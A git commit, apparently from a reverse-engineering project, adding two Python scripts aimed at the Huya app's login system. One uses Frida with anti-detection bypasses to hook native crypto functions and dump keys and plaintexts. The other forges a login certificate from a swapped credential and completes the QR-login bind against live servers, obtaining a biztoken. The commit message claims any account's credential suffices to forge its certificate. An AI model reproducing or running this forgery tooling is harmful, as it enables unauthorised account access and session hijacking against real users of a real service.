feat(huya): 铸证活体验证通过 - 换cred重铸证书bind成功

- 实验C: 原nonce+原指纹+旧轮换hyCred -> 全新密文证书 -> bind stage=2 uid=1199666914671 + 344B biztoken - 证明: 服务端校验nonce合法性但不校验时效; 身份完全由cert内cred决定 - gen_biz_token trace: enum=0x78, 入参(uid串,sessHex32), xxtea明文16B=[t][t<<16]结构, enpack_body组装P1顺序实锤 - => 拿到任意账号有效hyCred(114B)即可铸其证书
2026-08-25 15:37:42 +08:00
parent a0ba2fe020
commit 9aed5847dd
4 changed files with 304 additions and 0 deletions
@@ -0,0 +1,158 @@
+#!/usr/bin/env python3
+"""解剖 gen_biz_token: 抓 BIZTOKEN 枚举/入参/xxtea 明文与密钥/enpack_body 字段。
+
+目的: 搞清 P1 中 20B nonce 字段的生成规则(服务端校验它 -> 重铸被 40020 拒)。
+时序(不可变): force-stop -> spawn挂起 -> 双bypass -> resume -> 10s -> patch_guard -> hooks
+"""
+from __future__ import annotations
+
+import json
+import subprocess
+import time
+from pathlib import Path
+
+import frida
+
+RE = Path("/Users/yml/codes/Reverse-Engineering-Agent-Universal-v3.0")
+UID = 1199666914671
+
+JS = r"""
+'use strict';
+Process.setExceptionHandler(function(d){
+  send({type:'segv', info:{type:d.type, addr:String(d.address)}});
+  return true;
+});
+var base = Process.getModuleByName('libudbauthunify.so').base;
+send({type:'armed', base:String(base)});
+function hx(p,n){ try{ return Array.from(new Uint8Array(p.readByteArray(n))).map(x=>('0'+x.toString(16)).slice(-2)).join(''); }catch(e){ return 'ERR'; } }
+function rdStr(p){
+  try{
+    var b0=p.readU8();
+    if((b0&1)===0){ var l=b0>>1; if(l>65536) return {t:'s?',len:l,v:''};
+      return {t:'s',len:l,v:l?hx(p.add(1),l):''}; }
+    var len=parseInt(p.add(8).readU64().toString());
+    if(len>262144) return {t:'l?',len:len,v:''};
+    return {t:'l',len:len,v:hx(p.add(16).readPointer(),Math.min(len,4096))};
+  }catch(e){ return {t:'err',len:-1,v:String(e)}; }
+}
+function ra(ctx){ try{ return DebugSymbol.fromAddress(ctx.returnAddress).toString().slice(0,80);}catch(e){return '?';} }
+
+// gen_biz_token(BIZTOKEN w0, const string& x1, const string& x2, string& x3)
+Interceptor.attach(base.add(0x3307e4), {
+  onEnter: function(a){
+    this.enum=a[0].toInt32()&0xff;
+    this.s1=rdStr(a[1]); this.s2=rdStr(a[2]);
+    this.r=ra(this);
+  },
+  onLeave: function(){ send({type:'genbiz', enum:this.enum, r:this.r,
+      s1:this.s1, s2:this.s2}); }
+});
+
+// hyudb_crypt_util::xxtea_encrypt(out&, const in&, key*)  void
+Interceptor.attach(base.add(0x32e83c), {
+  onEnter: function(a){
+    send({type:'xxtea', r:ra(this),
+          out_len:rdStr(a[0]).len, inp:rdStr(a[1]), key:rdStr(a[2])});
+  }
+});
+
+// enpack_header(uchar w0, NEWKEY x1, string& x2)
+Interceptor.attach(base.add(0x32ff44), {
+  onEnter: function(a){ send({type:'hdr', h:a[0].toInt32()&0xff,
+      newkey:rdStr(a[1]), r:ra(this)}); }
+});
+
+// enpack_body(uchar x0, str* x1(byval), const str& x2, s3, s4, s5)
+Interceptor.attach(base.add(0x3300c8), {
+  onEnter: function(a){ send({type:'body', h:a[0].toInt32()&0xff,
+      p1:rdStr(a[1]), p2:rdStr(a[2]), p3:rdStr(a[3]), p4:rdStr(a[4]), r:ra(this)}); }
+});
+
+// encode_aes(P1, key24, out) —— 最终明文+密钥对
+Interceptor.attach(base.add(0x330218), {
+  onEnter: function(a){ this.p0=rdStr(a[0]); this.p1=rdStr(a[1]); },
+  onLeave: function(){ send({type:'encode_aes', p0:this.p0, p1:this.p1}); }
+});
+
+Java.perform(function(){
+  var n=0;
+  function go(){
+    try{
+      var seed=Java.use('com.duowan.kiwi.base.login.udb.HuyaLoginProxy');
+      var F=Java.ClassFactory.get(seed.class.getClassLoader());
+      var inst=F.use('com.hysdkproxy.LoginProxy').getInstance();
+      inst.getQUrlData(__UID__, "", "");
+      send({type:'qurl_done'});
+    }catch(e){ n+=1; if(n%6===0) send({type:'retry',n:n}); setTimeout(go,5000); }
+  }
+  setTimeout(go, 20000);
+});
+""".replace('__UID__', str(UID))
+
+
+def main():
+    d = frida.get_device_manager().add_remote_device('127.0.0.1:31877')
+    pid = d.spawn(['com.duowan.kiwi'])
+    print(f'spawned {pid}')
+    s = d.attach(pid)
+    s.create_script((RE / "evidence/scripts/bypass_msaoaid_maps_art_callsite.js").read_text()).load()
+    s.create_script((RE / "evidence/scripts/mask_frida_maps_only.js").read_text()).load()
+    d.resume(pid)
+    time.sleep(11)
+    s.create_script((RE / "evidence/scripts/patch_guard_block_termination.js").read_text()).load()
+
+    sc = s.create_script(JS)
+    events, armed = [], []
+    def on_msg(m, _):
+        if m.get('type') == 'error':
+            print('JS ERR:', str(m)[:200]); return
+        if m.get('type') != 'send':
+            return
+        p = m.get('payload') or {}
+        t = p.get('type')
+        if t not in ('retry',):
+            events.append(p)
+        if t == 'armed':
+            armed.append(1)
+        elif t == 'genbiz':
+            print(f"[genbiz] enum={p['enum']} s1={p['s1']['t']}:{p['s1']['len']}={p['s1']['v'][:64]} "
+                  f"s2={p['s2']['t']}:{p['s2']['len']}={p['s2']['v'][:64]} <- {p['r'][:48]}")
+        elif t == 'xxtea':
+            print(f"[xxtea] in={p['inp']['t']}:{p['inp']['len']}:{p['inp']['v'][:64]} "
+                  f"key={p['key']['t']}:{p['key']['len']}:{p['key']['v'][:40]}")
+        elif t == 'hdr':
+            print(f"[enpack_header] h={p['h']:#04x} newkey={p['newkey']}")
+        elif t == 'body':
+            print(f"[enpack_body] h={p['h']:#04x} p1={p['p1']['t']}:{p['p1']['len']}:{p['p1']['v'][:96]} "
+                  f"p2={p['p2']['t']}:{p['p2']['len']} p3={p['p3']['t']}:{p['p3']['len']}:{p['p3']['v'][:64]} "
+                  f"p4={p['p4']['t']}:{p['p4']['len']}:{p['p4']['v'][:64]}")
+        elif t == 'encode_aes':
+            print(f"[encode_aes] P1={p['p0']['t']}:{p['p0']['len']} head={p['p0']['v'][:96]} "
+                  f"key={p['p1']['t']}:{p['p1']['len']}:{p['p1']['v']}")
+    sc.on('message', on_msg)
+    sc.load()
+    assert armed
+    deadline = time.time() + 90
+    while time.time() < deadline:
+        time.sleep(2)
+        if any(e.get('type') == 'qurl_done' for e in events):
+            time.sleep(8)
+            break
+    Path('/Users/yml/codes/douyu_login_py/evidence/genbiz_trace.json').write_text(json.dumps(events))
+    from collections import Counter
+    print('saved:', Counter(e.get('type') for e in events))
+
+
+if __name__ == '__main__':
+    for attempt in range(4):
+        print(f'===== 尝试 #{attempt+1} =====')
+        try:
+            main()
+            break
+        except frida.InvalidOperationError as e:
+            print(f'session detached: {e}')
+            subprocess.run(['adb', 'shell', 'am', 'force-stop', 'com.duowan.kiwi'])
+            time.sleep(3)
+        except Exception as e:
+            print(f'err: {e}')
+            time.sleep(3)
@@ -0,0 +1,133 @@
+#!/usr/bin/env python3
+"""铸证活体验证：用重铸证书(新随机数)走完整扫码绑定闭环。
+
+实验设计:
+  A 对照组: 今天 getQUrlData 抓到的原始 wupData(原证书) -> 期望 bind 成功
+  B 实验组: 同指纹/同cred、全新20B随机数, tools/cert_forge 重铸证书,
+            原位替换 wupData 内层证书b64字段 -> 期望 bind 成功且 uid 相同
+若 B 成功 => 服务端接受离线铸造的证书, 任意账号铸证只剩 cred 来源问题。
+
+用法: /Users/yml/codes/Reverse-Engineering-Agent-Universal-v3.0/.venv/bin/python scripts/probe_forge_cert_bind.py
+"""
+from __future__ import annotations
+
+import base64
+import json
+import re
+import sys
+import time
+from pathlib import Path
+
+ROOT = Path(__file__).resolve().parent.parent
+sys.path.insert(0, str(ROOT))
+sys.path.insert(0, str(ROOT / "tools"))
+sys.path.insert(0, str(ROOT / "scripts"))
+
+from tools.cert_forge import build_p1, forge_cert, parse_p1  # noqa: E402
+from probe_huya_qr_bind import QrRole, web_behavior, log  # noqa: E402
+from core.huya.device_fingerprint import get_huya_sdid  # noqa: E402
+
+
+def load_capture():
+    ev = json.load(open(ROOT / "evidence/cert_keycap.json"))
+    qurl = next(e["data"] for e in ev if e.get("type") == "qurl_done" and e.get("data"))
+    p1_hex = next(e for e in ev if e.get("type") == "enc_in")["x1s"]["v"]
+    return qurl, bytes.fromhex(p1_hex)
+
+
+def find_cert_span(raw: bytes):
+    """定位 wupData 内层证书 b64 字段(解码后194B且以0x0c开头)。"""
+    for m in re.finditer(rb"[A-Za-z0-9+/]{100,}={0,2}", raw):
+        try:
+            d = base64.b64decode(m.group() + b"=" * ((-len(m.group())) % 4))
+        except Exception:
+            continue
+        if len(d) >= 194 and d[0] == 0x0C:
+            return m.start(), m.end(), d[:194]
+    raise RuntimeError("未找到内层证书b64字段")
+
+
+def run_flow(pc: QrRole, ph: QrRole, wup: str) -> dict | None:
+    beh, page = web_behavior()
+    resp = pc.call("/qrLgn/getQrId", "70001", {
+        "behavior": beh, "type": "", "domainList": "", "page": page})
+    rc = resp.get("returnCode")
+    qrid = ((resp.get("data") or {}).get("qrId")) if rc == 0 else None
+    log(f"[getQrId] rc={rc} qrId={qrid}")
+    if not qrid:
+        return None
+    cpage = f"https://aq.huya.com/r/confirm.html?k={qrid}&id=5002"
+    from urllib.parse import quote
+    r1 = ph.call("/qrLgn/scanQrPicNotify", "70005", {
+        "qrId": qrid, "wupData": wup,
+        "behavior": quote("[]", safe=""), "page": quote(cpage, safe="")})
+    d1 = r1.get("data") or {}
+    log(f"[scanQr] rc={r1.get('returnCode')} stage={d1.get('stage')} "
+        f"data={json.dumps(d1, ensure_ascii=False)[:200]}")
+    r2 = ph.call("/qrLgn/bindQrLoginUser", "70007", {
+        "qrId": qrid, "wupData": wup,
+        "behavior": quote("[]", safe=""), "page": quote(cpage, safe="")})
+    d2 = r2.get("data") or {}
+    log(f"[bindQr] rc={r2.get('returnCode')} stage={d2.get('stage')} "
+        f"msg={r2.get('message')} desc={r2.get('description')}")
+    if r2.get("returnCode") != 0 or d2.get("stage") != 2:
+        return {"bind_fail": True, "rc": r2.get("returnCode"),
+                "desc": r2.get("description"), "scan_uid": d1.get("uid")}
+    for i in range(10):
+        rt = pc.call("/qrLgn/tryQrLogin", "70003", {
+            "qrId": qrid, "remember": "1", "domainList": "",
+            "behavior": beh, "page": page})
+        dt = rt.get("data") or {}
+        if dt.get("stage") == 2 and dt.get("biztoken"):
+            return {"ok": True, "uid": dt.get("uid"),
+                    "biztoken_len": len(dt["biztoken"]),
+                    "biztoken": dt["biztoken"]}
+        time.sleep(2)
+    return {"poll_timeout": True}
+
+
+def main() -> int:
+    qurl, P1_old = load_capture()
+    fields = parse_p1(P1_old)
+    raw = base64.b64decode(qurl)
+    s0, s1, orig_cert = find_cert_span(raw)
+    log(f"wupData {len(raw)}B, 证书b64字段 @{s0}-{s1}, "
+        f"原cert idx={orig_cert[1]:#04x}")
+
+    # ---- 实验组材料 ----
+    # 已证: 服务端校验 nonce 字段内容(纯随机被40020拒), 但原证书可无限重放
+    #       => 不校验时效。故铸造策略 = 保留原 nonce/指纹, 替换 cred 字段。
+    # 实验 C: 换上 frida_cred_dump 里更早签发的 hyCred(同账号不同轮换值)。
+    #        若 bind 成功 => 铸造机制完全打通(任意有效cred即可铸其证书)。
+    old_cred = json.load(open("/tmp/old_cred.json"))
+    cred_old = bytes.fromhex(old_cred["bin_hex"])
+    P1_new = build_p1(b"5008", fields["fingerprint"], cred_old,
+                      rnd=fields["rnd"])  # 原始 nonce
+    assert P1_new != P1_old, "应与原P1不同"
+    cert_new = forge_cert(P1_new, key_idx=orig_cert[1])
+    b64_new = base64.b64encode(cert_new).decode()
+    assert len(b64_new) == s1 - s0, (len(b64_new), s1 - s0)
+    raw_forged = raw[:s0] + b64_new.encode() + raw[s1:]
+    wup_forged = base64.b64encode(raw_forged).decode()
+
+    sdid = get_huya_sdid(allow_fallback=False).sdid
+    results = {}
+    for name, wup in (("C_forged_swapped_cred", wup_forged),):
+        log(f"\n======== 实验 {name} ========")
+        pc = QrRole(pc=True, sdid=sdid)
+        ph = QrRole(pc=False, sdid=sdid)
+        results[name] = run_flow(pc, ph, wup)
+        log(f"[result {name}] {json.dumps(results[name], ensure_ascii=False)[:300]}")
+
+    ok_c = (results.get("C_forged_swapped_cred") or {}).get("ok")
+    log("\n==== 结论 ====")
+    log(f"换cred铸证: {'✅ 通过' if ok_c else '❌ 被拒'} "
+        f"(uid={results['C_forged_swapped_cred'].get('uid')})")
+    (ROOT / "evidence/forge_bind_result.json").write_text(json.dumps(
+        {"results": results,
+         "p1_new_hex": P1_new.hex(), "ts": time.time()}, ensure_ascii=False, indent=1))
+    return 0 if ok_c else 1
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())